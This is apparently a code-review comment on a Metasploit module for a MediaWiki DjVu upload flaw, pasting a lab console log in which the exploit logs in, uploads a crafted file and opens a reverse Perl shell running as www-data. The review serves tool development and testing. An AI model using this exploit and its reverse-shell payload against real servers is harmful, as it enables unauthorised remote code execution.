As you said, the PHP-CLI target isn't working, it must be fixed before it can be landed:

```
msf exploit(mediawiki_djvu) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] Grabbing login CSRF token...
[+] Retrieved login CSRF token.
[*] Attempting to login...
[+] Log in successful.
[*] Getting upload CSRF token...
[+] Retrieved upload CSRF token.
[*] Uploading DjVu file zctj.djvu...
[+] File uploaded to http://192.168.172.141/index.php/File:Zctj.djvu
[*] Sending payload request...
[*] Exploit completed, but no session was created.
msf exploit(mediawiki_djvu) > set target 1
target => 1
msf exploit(mediawiki_djvu) > rexploit
[*] Reloading module...

[-] Exploit failed: php/meterpreter/reverse_tcp is not a compatible payload.
[*] Exploit completed, but no session was created.
msf exploit(mediawiki_djvu) > set payload cmd/unix/reverse_p
set payload cmd/unix/reverse_perl        set payload cmd/unix/reverse_perl_ssl    set payload cmd/unix/reverse_php_ssl     set payload cmd/unix/reverse_python      set payload cmd/unix/reverse_python_ssl
msf exploit(mediawiki_djvu) > set payload cmd/unix/reverse_perl
payload => cmd/unix/reverse_perl
msf exploit(mediawiki_djvu) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] Grabbing login CSRF token...
[+] Retrieved login CSRF token.
[*] Attempting to login...
[+] Log in successful.
[*] Getting upload CSRF token...
[+] Retrieved upload CSRF token.
[*] Uploading DjVu file CqlX.djvu...
[+] File uploaded to http://192.168.172.141/index.php/File:CqlX.djvu
[*] Sending payload request...
[*] Command shell session 1 opened (192.168.172.1:4444 -> 192.168.172.141:49633) at 2014-02-04 07:45:47 -0600

id

uid=33(www-data) gid=33(www-data) groups=33(www-data)
^C
Abort session 1? [y/N]  y
```